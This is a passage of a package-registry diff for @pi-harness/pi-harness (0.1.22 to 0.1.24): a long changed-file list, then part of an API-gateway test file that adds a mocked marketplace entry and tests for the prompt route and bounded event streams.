@pi-harness/pi-harness 0.1.22 → 0.1.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +12 -10
- package/apps/web/dist/assets/index-BcLXLKqO.js +24 -0
- package/apps/web/dist/assets/index-xF647pQJ.css +2 -0
- package/apps/web/dist/index.html +2 -2
- package/apps/web/package.json +6 -6
- package/apps/web/profile/cordis.yml +1 -0
- package/apps/web/server-dist/bin.js +45 -7
- package/apps/web/server-dist/bin.js.map +1 -1
- package/apps/web/src/server/bin.ts +45 -7
- package/apps/web/test/bin.test.ts +313 -0
- package/node_modules/@pi-harness/api-gateway/dist/index.d.ts.map +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/index.js +295 -86
- package/node_modules/@pi-harness/api-gateway/dist/index.js.map +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/agent-teams.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/anchored-standard.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/annotation.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/archify.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/at-file.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/auto-mode.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/better-sidebar.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/browser-fetch.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/browser-session.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/canvas-draw.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/change-verifier.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/cleaner.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/cli-notifier.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/code2skill.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/colleague-skill.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/context-doctor.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/context.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/cost-meter.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/dependency-checker.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/docker-sandbox.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/fail-logger.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/genui.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/git-time-capsule.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/graph-memory.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/history-compressor.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/hol-guard.json +3 -3
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/i18n-pair.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/image-compressor.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/llm-verifier.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mcp-client.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mcp-panel.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/memory.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mirage-bridge.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mock-server.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/modlens.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/module-search.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/obsidian-sync.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/openpets.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plan-execute.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-check.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-dev.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-finder.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-radar.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-stars.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/prompt-guard.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/prompt-library.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/readme-gen.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/recall-unread.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/reverse-skill.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/reviewer-bot.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/runtime-doctor.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/secure-audit.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-bookmarks.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-bridge.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-compare.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-export.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-insights.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-search.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/skill-catalog.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/skill-guard.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/sql-lens.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/synapse.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/tab-manager.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/taskboard.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/telemetry-blocker.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/test-harness.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/theme-studio.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/token-guard.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/turn-rewind.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/undo-savepoint.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/vision-toolkit.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/web-research.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/workspace-navigator.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/workspace-search.json +1 -1
- package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/yaml-validator.json +1 -1
- package/node_modules/@pi-harness/api-gateway/package.json +1 -1
- package/node_modules/@pi-harness/cli/dist/main.d.ts +1 -0
- package/node_modules/@pi-harness/cli/dist/main.d.ts.map +1 -1
- package/node_modules/@pi-harness/cli/dist/main.js +11 -0
- package/node_modules/@pi-harness/cli/dist/main.js.map +1 -1
- package/node_modules/@pi-harness/cli/dist/node-stdio.d.ts.map +1 -1
- package/node_modules/@pi-harness/cli/dist/node-stdio.js +3 -1
- package/node_modules/@pi-harness/cli/dist/node-stdio.js.map +1 -1
- package/node_modules/@pi-harness/cli/dist/relaunch.d.ts.map +1 -1
- package/node_modules/@pi-harness/cli/dist/relaunch.js +4 -1
- package/node_modules/@pi-harness/cli/dist/relaunch.js.map +1 -1
- package/node_modules/@pi-harness/cli/package.json +1 -1
- package/node_modules/@pi-harness/host-webserver/dist/index.d.ts +1 -0
- package/node_modules/@pi-harness/host-webserver/dist/index.d.ts.map +1 -1
- package/node_modules/@pi-harness/host-webserver/dist/index.js +86 -3
- package/node_modules/@pi-harness/host-webserver/dist/index.js.map +1 -1
- package/node_modules/@pi-harness/host-webserver/package.json +1 -1
- package/node_modules/@pi-harness/web-app/dist/index.d.ts +3 -0
- package/node_modules/@pi-harness/web-app/dist/index.d.ts.map +1 -1
- package/node_modules/@pi-harness/web-app/dist/index.js +21 -8
- package/node_modules/@pi-harness/web-app/dist/index.js.map +1 -1
- package/node_modules/@pi-harness/web-app/package.json +1 -1
- package/package.json +8 -8
- package/packages/api-gateway/dist/index.d.ts.map +1 -1
- package/packages/api-gateway/dist/index.js +295 -86
- package/packages/api-gateway/dist/index.js.map +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/agent-teams.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/anchored-standard.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/annotation.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/archify.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/at-file.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/auto-mode.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/better-sidebar.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/browser-fetch.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/browser-session.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/canvas-draw.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/change-verifier.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/cleaner.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/cli-notifier.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/code2skill.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/colleague-skill.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/context-doctor.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/context.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/cost-meter.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/dependency-checker.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/docker-sandbox.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/fail-logger.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/genui.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/git-time-capsule.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/graph-memory.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/history-compressor.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/hol-guard.json +3 -3
- package/packages/api-gateway/dist/marketplace-entries/official/i18n-pair.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/image-compressor.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/llm-verifier.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/mcp-client.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/mcp-panel.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/memory.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/mirage-bridge.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/mock-server.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/modlens.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/module-search.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/obsidian-sync.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/openpets.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/plan-execute.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/plugin-check.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/plugin-dev.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/plugin-finder.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/plugin-radar.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/plugin-stars.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/prompt-guard.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/prompt-library.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/readme-gen.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/recall-unread.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/reverse-skill.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/reviewer-bot.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/runtime-doctor.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/secure-audit.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/session-bookmarks.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/session-bridge.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/session-compare.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/session-export.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/session-insights.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/session-search.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/skill-catalog.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/skill-guard.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/sql-lens.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/synapse.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/tab-manager.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/taskboard.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/telemetry-blocker.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/test-harness.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/theme-studio.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/token-guard.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/turn-rewind.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/undo-savepoint.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/vision-toolkit.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/web-research.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/workspace-navigator.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/workspace-search.json +1 -1
- package/packages/api-gateway/dist/marketplace-entries/official/yaml-validator.json +1 -1
- package/packages/api-gateway/package.json +1 -1
- package/packages/api-gateway/src/index.ts +310 -87
- package/packages/api-gateway/src/marketplace-entries/official/agent-teams.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/anchored-standard.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/annotation.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/archify.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/at-file.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/auto-mode.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/better-sidebar.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/browser-fetch.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/browser-session.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/canvas-draw.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/change-verifier.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/cleaner.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/cli-notifier.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/code2skill.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/colleague-skill.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/context-doctor.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/context.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/cost-meter.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/dependency-checker.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/docker-sandbox.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/fail-logger.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/genui.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/git-time-capsule.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/graph-memory.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/history-compressor.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/hol-guard.json +3 -3
- package/packages/api-gateway/src/marketplace-entries/official/i18n-pair.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/image-compressor.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/llm-verifier.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/mcp-client.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/mcp-panel.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/memory.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/mirage-bridge.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/mock-server.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/modlens.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/module-search.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/obsidian-sync.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/openpets.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/plan-execute.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/plugin-check.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/plugin-dev.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/plugin-finder.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/plugin-radar.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/plugin-stars.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/prompt-guard.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/prompt-library.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/readme-gen.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/recall-unread.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/reverse-skill.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/reviewer-bot.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/runtime-doctor.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/secure-audit.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/session-bookmarks.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/session-bridge.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/session-compare.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/session-export.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/session-insights.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/session-search.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/skill-catalog.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/skill-guard.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/sql-lens.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/synapse.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/tab-manager.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/taskboard.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/telemetry-blocker.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/test-harness.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/theme-studio.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/token-guard.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/turn-rewind.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/undo-savepoint.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/vision-toolkit.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/web-research.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/workspace-navigator.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/workspace-search.json +1 -1
- package/packages/api-gateway/src/marketplace-entries/official/yaml-validator.json +1 -1
- package/packages/api-gateway/test/index.test.ts +799 -3
- package/packages/api-gateway/test/marketplace-schema.test.ts +139 -0
- package/packages/api-gateway/test/packed-package.test.ts +70 -0
- package/packages/api-gateway/test/reference-docs.test.ts +50 -0
- package/packages/api-gateway/test/release-contract.test.ts +77 -0
- package/packages/api-gateway/test/release-package.test.ts +33 -2
- package/packages/api-gateway/test/release-version.test.ts +46 -4
- package/packages/bundle-web-app/dist/index.d.ts +3 -0
- package/packages/bundle-web-app/dist/index.d.ts.map +1 -1
- package/packages/bundle-web-app/dist/index.js +21 -8
- package/packages/bundle-web-app/dist/index.js.map +1 -1
- package/packages/bundle-web-app/package.json +1 -1
- package/packages/bundle-web-app/src/index.ts +25 -8
- package/packages/bundle-web-app/test/index.test.ts +116 -4
- package/packages/cli/dist/main.d.ts +1 -0
- package/packages/cli/dist/main.d.ts.map +1 -1
- package/packages/cli/dist/main.js +11 -0
- package/packages/cli/dist/main.js.map +1 -1
- package/packages/cli/dist/node-stdio.d.ts.map +1 -1
- package/packages/cli/dist/node-stdio.js +3 -1
- package/packages/cli/dist/node-stdio.js.map +1 -1
- package/packages/cli/dist/relaunch.d.ts.map +1 -1
- package/packages/cli/dist/relaunch.js +4 -1
- package/packages/cli/dist/relaunch.js.map +1 -1
- package/packages/cli/package.json +1 -1
- package/packages/cli/src/main.ts +11 -0
- package/packages/cli/src/node-stdio.ts +6 -3
- package/packages/cli/src/relaunch.ts +4 -1
- package/packages/cli/test/cli.test.ts +3 -1
- package/packages/cli/test/main.test.ts +134 -0
- package/packages/cli/test/node-stdio.test.ts +43 -0
- package/packages/cli/test/relaunch.test.ts +110 -0
- package/packages/host-webserver/dist/index.d.ts +1 -0
- package/packages/host-webserver/dist/index.d.ts.map +1 -1
- package/packages/host-webserver/dist/index.js +86 -3
- package/packages/host-webserver/dist/index.js.map +1 -1
- package/packages/host-webserver/package.json +1 -1
- package/packages/host-webserver/src/index.ts +95 -3
- package/packages/host-webserver/test/index.test.ts +160 -1
- package/apps/web/dist/assets/index-BVI_IS-R.css +0 -2
- package/apps/web/dist/assets/index-w0KQgv8x.js +0 -22
|
@@ -1,18 +1,45 @@
|
|
|
1
|
-
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
|
|
1
|
+
import { chmod, mkdir, mkdtemp, readdir, readFile, realpath, rm, stat, writeFile } from "node:fs/promises";
|
|
2
2
|
import { execFile as execFileCallback } from "node:child_process";
|
|
3
3
|
import { createServer } from "node:http";
|
|
4
4
|
import { promisify } from "node:util";
|
|
5
5
|
import { tmpdir } from "node:os";
|
|
6
|
-
import { join } from "node:path";
|
|
6
|
+
import { join, sep } from "node:path";
|
|
7
7
|
import { DatabaseSync } from "node:sqlite";
|
|
8
8
|
import { Context } from "@deepseek-ai/cordis";
|
|
9
9
|
import timerPlugin from "@deepseek-ai/cordis-plugin-timer";
|
|
10
10
|
import { SessionManager } from "@earendil-works/pi-coding-agent";
|
|
11
|
-
import { afterEach, describe, expect, test } from "vitest";
|
|
11
|
+
import { afterEach, describe, expect, test, vi } from "vitest";
|
|
12
12
|
import webServerPlugin from "@pi-harness/host-webserver";
|
|
13
13
|
import { PiPluginUiRegistry, PiToolRegistry } from "@pi-harness/core";
|
|
14
|
+
import type { MarketplacePlugin } from "../src/marketplace.js";
|
|
14
15
|
import apiPlugin from "../src/index.js";
|
|
15
16
|
|
|
17
|
+
// Every shipped catalog entry that npm has to install names a bare package, so `packageName` and its npm package name coincide and the install route cannot show whether it narrows the specifier. This entry is the case where the two differ: a deep import path whose npm package is only the first two segments. It is hoisted because the module mock below reads it while the test module body is still in its temporal dead zone.
|
|
18
|
+
const { subpathPlugin } = vi.hoisted(() => ({
|
|
19
|
+
subpathPlugin: {
|
|
20
|
+
id: "subpath-toolkit",
|
|
21
|
+
packageName: "@example-scope/toolkit/plugins/subpath",
|
|
22
|
+
version: "1.2.3",
|
|
23
|
+
name: "Subpath toolkit",
|
|
24
|
+
description: "Catalog entry whose profile name is a deep import of its npm package",
|
|
25
|
+
author: "example",
|
|
26
|
+
repository: "https://example.invalid/toolkit",
|
|
27
|
+
license: "MIT",
|
|
28
|
+
source: "community",
|
|
29
|
+
status: "experimental",
|
|
30
|
+
category: { id: "tools", label: "工具" },
|
|
31
|
+
capabilities: ["subpath-install"],
|
|
32
|
+
hooks: ["apply"],
|
|
33
|
+
profile: { name: "@example-scope/toolkit/plugins/subpath", config: {} },
|
|
34
|
+
} satisfies MarketplacePlugin,
|
|
35
|
+
}));
|
|
36
|
+
|
|
37
|
+
// Only `MARKETPLACE_PLUGINS` is widened: the search and pagination helpers close over the module's own catalog, so the listing endpoints keep serving exactly the shipped entries.
|
|
38
|
+
vi.mock("../src/marketplace.js", async (importOriginal) => {
|
|
39
|
+
const actual = await importOriginal<{ MARKETPLACE_PLUGINS: readonly MarketplacePlugin[] }>();
|
|
40
|
+
return { ...actual, MARKETPLACE_PLUGINS: [...actual.MARKETPLACE_PLUGINS, subpathPlugin] };
|
|
41
|
+
});
|
|
42
|
+
|
|
16
43
|
const contexts: Context[] = [];
|
|
17
44
|
const temporaryDirectories: string[] = [];
|
|
18
45
|
const execFile = promisify(execFileCallback);
|
|
@@ -1753,6 +1780,8 @@ describe("API gateway plugin", () => {
|
|
|
1753
1780
|
const context = new Context();
|
|
1754
1781
|
contexts.push(context);
|
|
1755
1782
|
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
1783
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-new-session-"));
|
|
1784
|
+
temporaryDirectories.push(directory);
|
|
1756
1785
|
let sessionId = "old-session";
|
|
1757
1786
|
let resetCount = 0;
|
|
1758
1787
|
const session = {
|
|
@@ -1768,6 +1797,7 @@ describe("API gateway plugin", () => {
|
|
|
1768
1797
|
resetCount += 1;
|
|
1769
1798
|
},
|
|
1770
1799
|
getEntries: () => [],
|
|
1800
|
+
getSessionDir: () => directory,
|
|
1771
1801
|
},
|
|
1772
1802
|
agent: { state: { messages: [{ role: "user", content: "old" }] } },
|
|
1773
1803
|
subscribe: () => () => {},
|
|
@@ -2419,4 +2449,770 @@ describe("API gateway plugin", () => {
|
|
|
2419
2449
|
});
|
|
2420
2450
|
expect(response.status).toBe(400);
|
|
2421
2451
|
});
|
|
2452
|
+
|
|
2453
|
+
test("rejects non-POST requests to the prompt route", async () => {
|
|
2454
|
+
const context = new Context();
|
|
2455
|
+
contexts.push(context);
|
|
2456
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2457
|
+
const session = { sessionId: "method-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
2458
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
2459
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2460
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2461
|
+
await context.plugin(apiPlugin);
|
|
2462
|
+
|
|
2463
|
+
const response = await fetch(context.webServer.url + "/api/prompt");
|
|
2464
|
+
expect(response.status).toBe(405);
|
|
2465
|
+
await expect(response.json()).resolves.toEqual({ error: "Method not allowed" });
|
|
2466
|
+
});
|
|
2467
|
+
|
|
2468
|
+
test("keeps the retained trajectory bounded and free of streaming deltas", async () => {
|
|
2469
|
+
const context = new Context();
|
|
2470
|
+
contexts.push(context);
|
|
2471
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2472
|
+
type Listener = (event: { type: string; [key: string]: unknown }) => void;
|
|
2473
|
+
const listeners = new Set<Listener>();
|
|
2474
|
+
const session = {
|
|
2475
|
+
sessionId: "bounded-session",
|
|
2476
|
+
sessionFile: undefined,
|
|
2477
|
+
messages: [],
|
|
2478
|
+
isStreaming: false,
|
|
2479
|
+
subscribe(listener: Listener) {
|
|
2480
|
+
listeners.add(listener);
|
|
2481
|
+
return () => listeners.delete(listener);
|
|
2482
|
+
},
|
|
2483
|
+
};
|
|
2484
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
2485
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2486
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2487
|
+
await context.plugin(apiPlugin);
|
|
2488
|
+
|
|
2489
|
+
const stream = await fetch(context.webServer.url + "/api/events");
|
|
2490
|
+
const reader = stream.body?.getReader();
|
|
2491
|
+
await reader?.read();
|
|
2492
|
+
for (let index = 0; index < 2500; index += 1) {
|
|
2493
|
+
listeners.forEach((listener) => listener({ type: "tool_execution_start", toolName: "read", toolCallId: `call-${index}`, args: {} }));
|
|
2494
|
+
}
|
|
2495
|
+
let delivered = "";
|
|
2496
|
+
for (let index = 0; index < 500; index += 1) {
|
|
2497
|
+
listeners.forEach((listener) =>
|
|
2498
|
+
